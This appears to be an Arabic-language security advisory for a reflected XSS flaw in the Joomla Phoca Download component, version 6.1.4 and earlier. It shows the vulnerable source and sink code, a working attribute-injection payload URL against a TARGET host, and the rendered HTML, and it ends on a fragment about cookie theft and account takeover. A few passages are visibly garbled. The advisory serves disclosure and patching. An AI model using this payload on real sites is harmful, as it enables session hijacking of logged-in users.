
انعكاس XSS عبر معامل البحث GET في Phoca Download
Phoca Download ≤ 6.1.4 — مهاجم مُصادَق ينفّذ JavaScript عشوائيًا عبر رابط بحث مُصمَّم في لوحة تحكم المستخدم
يحتوي Phoca Download (com_phocadownload) الخاص بـ Joomla على ثغرة Cross-Site Scripting (XSS) منعكسة في وظيفة البحث عن الملفات في لوحة تحكم المستخدم. تتم معالجة معامل search GET باستخدام مُرشِّح 'string' الخاص بـ Joomla — والذي يستدعي strip_tags() فقط ويحافظ على حرف — ثم يتم إخراجه دون استخدام داخل سمة HTML . يمكن للمهاجم حقن سمات HTML عشوائية ومعالجات أحداث يتم تنفيذها في متصفح الضحية عند تحميل الصفحة، دون الحاجة إلى أي تفاعل من المستخدم بخلاف النقر على رابط مُصمَّم.
"htmlspecialchars()<input value="">| المكوّن | قابل للتأثر | تم الاختبار عليه | تم الإصلاح |
|---|---|---|---|
| com_phocadownload | ≤ 6.1.4 | Joomla 5 + PhocaDownload 6.1.4 + MariaDB 10.6 | 6.1.5 |
النوع: Cross-Site Scripting منعكسة (CWE-79)
المصادقة المطلوبة: مستخدم Joomla مسجَّل (مسجّل الدخول) + لوحة تحكم المستخدم مفعّلة (enable_user_cp = 1)
رمز CSRF المطلوب: غير مطلوب — طلب GET، لا يتم التحقق من رمز CSRF في هذا المسار
ملف الحوض (Sink): site/views/user/tmpl/default_files_bootstrap.php
يتم قراءة معامل search باستخدام مُرشِّح 'string' الخاص بـ Joomla، والذي يستدعي strip_tags() فقط. يحافظ هذا على حرف "، مما يسمح للمهاجم بالخروج من سياق السمة value="" وحقن سمات HTML عشوائية.
SITE/VIEWS/USER/VIEW.HTML.PHP:252 — المصدر (SOURCE)
$search_files = $app->getUserStateFromRequest(
$this->_context_files.'.search', 'search', '', 'string'
);
$search_files = StringHelper::strtolower($search_files);
$lists_files['search'] = $search_files; // stored without encoding
SITE/VIEWS/USER/TMPL/DEFAULT_FILES_BOOTSTRAP.PHP:56 — الحوض (SINK) (قابل للتأثر)
<input type="text" name="search" id="pdsearch"
value="<?php echo $this->t['listsfiles']['search'];?>"
class="form-control" />
العرض الشقيق phocadownloadlinkfile (نفس الإضافة) يطبّق بشكل صحيح PhocaDownloadUtils::filterValue($search, 'text') — المكافئ لـ htmlspecialchars() — لنفس حقل البحث. عرض user لا يطبّق نفس الحماية، مما يشير إلى ترميز إخراج غير متسق داخل الإضافة.
انتقل إلى صفحة تسجيل الدخول في Joomla وقم بالمصادقة كمستخدم مسجَّل. بعد تسجيل الدخول بنجاح، يعيد Joomla التوجيه إلى صفحة ملف المستخدم، مما يؤكد وجود جلسة نشطة.

انتقل إلى لوحة تحكم المستخدم في PhocaDownload:
http://TARGET/index.php?option=com_phocadownload&view=user
يتم عرض الصفحة مع حقل بحث فارغ (value=""). هذه هي الحالة الطبيعية قبل الحقن.

انتقل إلى الرابط المُصمَّم التالي (أو اكتب الحمولة الخام مباشرة في مربع البحث):
http://TARGET/index.php?option=com_phocadownload&view=user&search=%22%20autofocus%20onfocus%3Dalert%28document.domain%29%20x%3D

عند تحميل الصفحة، تقوم سمة autofocus المُحقونة بتركيز عنصر الإدخال، مما يؤدي فورًا إلى تشغيل معالج الأحداث onfocus. لا يلزم أي تفاعل إضافي من المستخدم.
HTML المُخرَج (قابل للتأثر):
<input type="text" name="search" id="pdsearch"
value="" autofocus onfocus=alert(document.domain) x="
class="form-control" />
document.cookie، مما يتيح الاستيلاء الكامل على الحساب دون بيانات اعتماد.